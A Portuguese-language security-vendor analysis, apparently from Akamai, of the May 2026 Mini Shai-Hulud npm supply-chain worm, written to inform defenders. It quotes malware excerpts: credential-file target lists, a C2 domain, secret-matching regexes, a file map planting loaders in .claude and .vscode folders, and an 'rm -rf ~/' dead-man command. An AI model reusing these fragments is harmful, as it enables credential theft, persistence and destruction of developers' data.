O Akamai Security Intelligence Group identificou uma nova onda da campanha de ataque à cadeia de suprimentos Shai-Hulud, que está afetando o ecossistema npm. Os clientes do Akamai Hunt afetados já receberam um mapeamento detalhado dos ativos vulneráveis, com recomendações práticas de segmentação e mitigação.
Principais conclusões
Em 11 de maio de 2026, uma nova onda da campanha de ataque à cadeia de suprimentos Shai-Hulud atingiu o ecossistema npm, com a publicação de versões maliciosas de pacotes em toda a árvore de dependências do TanStack.
O ataque foi realizado por meio do sequestro de um fluxo legítimo de lançamento, utilizando um ataque de envenenamento do cache de integração contínua (CI) e o endpoint de publicação OpenID Connect (OIDC) do npm.
A campanha rapidamente se expandiu para além do TanStack, atingindo outros pacotes npm vinculados à Mistral AI, UiPath, OpenSearch e outras organizações.
No dia seguinte, novos repositórios do GitHub surgiram aparentemente hospedando o código-fonte do worm malicioso Shai-Hulud.
Nesta publicação, analisamos o malware recém-divulgado, examinamos como essa onda de ataques difere das anteriores e apresentamos recomendações de mitigação para mantenedores e organizações.
Em 11 de maio de 2026, a TeamPCP deu continuidade à sua campanha contra a cadeia de suprimentos ao introduzir uma nova carga maliciosa na forma de uma variante do Shai-Hulud. Em nossa publicação anterior sobre o tema, observamos que o grupo de ransomware Vect havia anunciado uma parceria com a TeamPCP, indicando uma possível mudança do roubo de credenciais para operações de extorsão em larga escala e ataques de ransomware.
Esta nova campanha oferece o primeiro indício concreto de que essa mudança talvez já esteja em andamento.
Ondas anteriores do worm Shai-Hulud
O worm Shai-Hulud surgiu pela primeira vez em setembro de 2025. Seu mecanismo principal era simples: Roubar um token de publicação do npm, identificar todos os pacotes aos quais esse token tinha acesso, inserir código malicioso e republicá-los.
Após sua estreia, o Shai-Hulud permaneceu ativo até o fim do ano, ressurgindo em novembro e dezembro de 2025 com uma funcionalidade atualizada de exclusão de dados.
A nova onda inclui envenenamento do cache de CI e abuso de OIDC
Todos os ataques anteriores começaram com uma credencial roubada. Este, não.
A TeamPCP, agente de ameaça por trás da violação do Trivy em março de 2026 e de várias operações posteriores, reivindicou a autoria dessa nova onda, chamada por eles de Mini Shai-Hulud.
Nessa nova onda, os invasores exploraram uma configuração incorreta do fluxo de trabalho de pull requests na integração contínua do GitHub Actions do TanStack. Um pull request originado de um fork acionou um fluxo de trabalho com acesso de gravação ao cache do repositório base. O código do invasor contaminou esse cache e ficou aguardando.
Oito horas depois, uma mesclagem legítima realizada por um mantenedor acionou o fluxo de trabalho padrão de lançamento, que carregou o cache contaminado e executou o código do invasor.
Exfiltração automatizada de tokens do GitHub Actions
Em seguida, o worm do invasor extraiu tokens diretamente da memória do executor do GitHub Actions e os trocou por credenciais de publicação do npm por meio do próprio endpoint de troca de tokens do npm. Nenhum token do npm foi "roubado", e o próprio fluxo de trabalho de publicação aparentemente não foi comprometido, o que tornou o ataque invisível e permitiu que ele obtivesse a validação da atestação SLSA.
Outra mudança crucial é que agora a carga maliciosa cria um daemon em segundo plano que utiliza o token roubado durante o acesso inicial. Caso o token seja revogado, o daemon apaga imediatamente todo o diretório pessoal da vítima.
Vetores de persistência em aplicativos de desenvolvimento
A persistência do malware também foi ampliada para incluir hooks de sessão do Claude Code e a automação de tarefas do VS Code, ambos capazes de permanecer ativos mesmo após uma operação de "npm uninstall".
O worm em si não mudou, depois de obter credenciais válidas, ele identifica todos os pacotes aos quais tem acesso e tenta injetar seu próprio código nesses pacotes.
A campanha se torna pública
Na noite de 12 de maio de 2026, o código totalmente funcional e pronto para uso malicioso do worm foi divulgado publicamente. Embora não seja possível saber com certeza se ele é idêntico ao malware que atingiu o TanStack, a carga maliciosa completa agora está disponível para qualquer pessoa.
Análise do malware: O loop principal
O loop principal do worm não é muito extenso, contando com apenas algumas fases, mas cada uma delas foi elaborada com extremo cuidado, incluindo:
Fase 0 — Verificações preliminares
Fase 1 — Ganhos rápidos
Fase 2 — Comunicação com o servidor de comando e controle (C2)
Fase 3 — Coleta de credenciais de plataformas
Fase 4 — Propagação contínua
O loop principal é mais ou menos assim:
main()
└── preflight()
└── setupQuickResults()
└── C2 / Dispatcher setup
└── collector.ingest(...)
└── collector.run(providers)
└── ReadmeUpdater / spread
└── collector.finalize()
Fase 0 — Verificações preliminares
O malware começa verificando se está sendo executado no contexto do pacote opensearch-js. Em caso afirmativo, ele tenta injetar um backdoor no pacote, acionar seu cliente OIDC, roubar imediatamente as credenciais e falsificar sua assinatura SLSA.
Em seguida, o malware verifica se o idioma do sistema está definido como russo. Se estiver, ele encerra a execução.
Por fim, conclui as verificações preliminares garantindo que seja a única instância em execução, confirmando que está sendo executado em um ambiente de CI/CD e impedindo seu encerramento por meio dos sinais SIGINT ou SIGTERM.
Fase 1 — Ganhos rápidos
Nessa fase, o malware tenta coletar rapidamente o maior número possível de credenciais do endpoint. Para isso, ele verifica mais de mil locais conhecidos de armazenamento de credenciais, tenta executar o comando gh auth token e captura o conteúdo de process.env para roubar credenciais presentes em variáveis de ambiente.
LINUX:[
…
scramble("~/.ssh/known_hosts"),
scramble("~/.terraform.d/credentials.tfrc.json"),
scramble("/var/lib/docker/containers/*/config.v2.json"),
scramble("/var/run/secrets/kubernetes.io/serviceaccount/token"),
scramble("~/.viminfo"),
scramble("**/wp-config.php"),
scramble("~/.yarnrc"),
scramble("~/.zcash/wallet.dat"),
scramble("~/.zsh_history"),
]
WIN: [
".env",
"config.ini",
scramble("%APPDATA%\\NordVPN\\NordVPN.exe.Config"),
scramble("%APPDATA%\\OpenVPN Connect\\profiles\\*"),
scramble("%PROGRAMDATA%\OpenVPN\config\*"),
scramble("%APPDATA%\\ProtonVPN\\user.config"),
scramble("%APPDATA%\\CyberGhost\\CG6\\CyberGhost.dat"),
scramble("%APPDATA%\\Private Internet Access\*.conf"),
scramble("%APPDATA%\\Windscribe\\Windscribe\*"),
scramble("C:\\Program Files\\OpenVPN\\config\\*.ovpn"),
scramble("%USERPROFILE%\\OpenVPN\\config\\*.ovpn"),
scramble("%APPDATA\%\EarthVPN\\OpenVPN\\config\\*.ovpn"),
],
OSX: [
scramble("~/.ansible/*"),
scramble("~/.aws/config"),
scramble("~/.aws/credentials"),
scramble("~/.azure/accessTokens.json"),
scramble("~/.azure/msal_token_cache.*"),
scramble("~/.bash_history"),
scramble("~/.bitcoin/wallet.dat"),
Fase 2 — Comunicação com o servidor de comando e controle (C2)
Em seguida, o worm estabelece comunicação com seu principal servidor de C2:
const dest: SenderDestination = {
domain: scramble("git-tanstack.com"),
port: 443,
path: scramble("router"),
dry_run: false,
};
Usando sua função central de despacho, ele criptografa todos os dados roubados com uma chave pública RSA incorporada ao código antes da transmissão. Isso garante que somente o invasor consiga ler os dados exfiltrados. O código também orienta futuros operadores a substituir essa chave.
Primeiro, o malware tenta entrar em contato com seu servidor de C2 principal. Caso essa comunicação seja bloqueada, ele passa a criar um novo repositório do GitHub na própria conta da vítima e armazena nele os dados criptografados por meio de commits. O invasor pode então monitorar o GitHub em busca desses repositórios, identificando-os por sua descrição característica.
Assim que os dados criptografados atingem 100 KB, a exfiltração é iniciada.
Fase 3 — Coleta de credenciais de plataformas
Após concluir a configuração, o malware inicia uma coleta mais agressiva de credenciais em plataformas como AWS, Kubernetes, GitHub e outras.
Em ambientes Kubernetes, por exemplo, o worm tenta percorrer diversos locais e segredos utilizando expressões regulares:
constructor() {
super("kubernetes", "secrets", {
ghtoken: /gh[op]_[A-Za-z0-9_\-\.]{36,}/g,
npmtoken: /npm_[A-Za-z0-9_\-\.]{36,}/g,
k8stoken: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
awskey:
…
sshKey: /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
dockerAuth: /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
kubeconfig: /[A-Za-z0-9+/=]{20,}/g,
secret:
/["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
genericSecret: /[A-Za-z0-9_\-\.]{20,}/g,
urlCred: /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g,
});
}
private isInCluster(): boolean {
return !!process.env.KUBERNETES_SERVICE_HOST;
}
private async getCA(): Promise<Buffer | null> {
const caPath = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt";
Na coleta relacionada à AWS, alguns dos locais pesquisados pelo worm incluem:
~/.aws/credentials
~/.aws/config
~/.azure/accessTokens.json
~/.azure/msal_token_cache.*
~/.config/gcloud/credentials.db
access_tokens.db
application_default_credentials.json
~/.terraform.d/credentials.tfrc.json
Após concluir a coleta, o malware envia os dados obtidos por meio de seu canal de C2 e continua se propagando para outros repositórios.
Um comportamento notável, não relacionado especificamente a frameworks, é que o malware também procura carteiras de bitcoin, tendo como alvo específico o arquivo ~/.bitcoin/wallet.dat.
Fase 4 — Propagação contínua
Para continuar se propagando, o worm usa cada token válido do GitHub que encontra para criar um fluxo de trabalho que rouba outros segredos e dá continuidade à cadeia de infecção.
Caso nenhum token de fluxo de trabalho seja encontrado, o worm se propaga percorrendo todas as branches do GitHub que identifica e inserindo arquivos maliciosos — incluindo um carregador e o binário do worm, em pastas relacionadas a agentes de IA, como .claude e .vscode:
const FILE_UPDATES: FileSourceMap = {
".vscode/tasks.json": task,
[`.claude/${SCRIPT_NAME}`]: { sourcePath: Bun.main },
".claude/settings.json": claude_settings,
".claude/setup.mjs": config,
".vscode/setup.mjs": config,
};
Se o worm encontrar tokens do npm, ele inicia seu NPMClient e copia o malware para packages/opensearch_init.js.
O malware utiliza uma cadeia de propagação semelhante para tokens OIDC.
Análise do malware: O mecanismo de homem morto
Além do loop principal, uma das partes mais proeminentes do malware é seu mecanismo de homem morto. A cada 60 segundos, o malware verifica se os tokens foram substituídos. Em caso afirmativo, o worm tenta excluir arquivos da máquina:
logUtil.log("About to add monitor!");
await this.installTokenMonitor(this.token, scramble("rm -rf ~/"));
Embora existam vários outros aspectos e camadas do código que não abordamos aqui, acreditamos que os comportamentos descritos sejam suficientes para demonstrar a sofisticação e a intenção dos invasores.
Detecção e mitigação
Para manter sua organização protegida, recomendamos consultar imediatamente um profissional de segurança e adotar as seguintes medidas:
Reverter os pacotes infectados para versões seguras
Reduzir o impacto potencial dos hosts afetados por meio da segmentação de rede
Pensando no futuro
Esta campanha representa mais um ponto de escalada na operação contínua da TeamPCP. Durante oito meses, o grupo conduziu uma campanha metódica e tecnicamente sofisticada de roubo de credenciais, concentrada na coleta de segredos, no abuso de fluxos de trabalho de desenvolvedores e na ampliação do acesso a ambientes da cadeia de suprimentos de software.
Esta variante mais recente demonstra um investimento contínuo em automação, coleta de credenciais e propagação por repositórios, pacotes e ferramentas de desenvolvimento. A campanha surge logo após o anúncio da parceria da TeamPCP com a Vect.
Agora que o worm se tornou público e seu conjunto de ferramentas está disponível para outros operadores, a preocupação já não se limita apenas à TeamPCP. As mesmas técnicas agora podem ser estudadas, adaptadas e reutilizadas por outros agentes de ameaça.
Fique por dentro
O Akamai Security Intelligence Group continuará monitorando, notificando e criando mitigações quanto a ameaças como essas para nossos clientes e para a comunidade de segurança em geral. Para acompanhar as notícias mais recentes do Akamai Security Intelligence Group, confira nossa página inicial de pesquisa e siga nossos perfis nas redes sociais.
Tags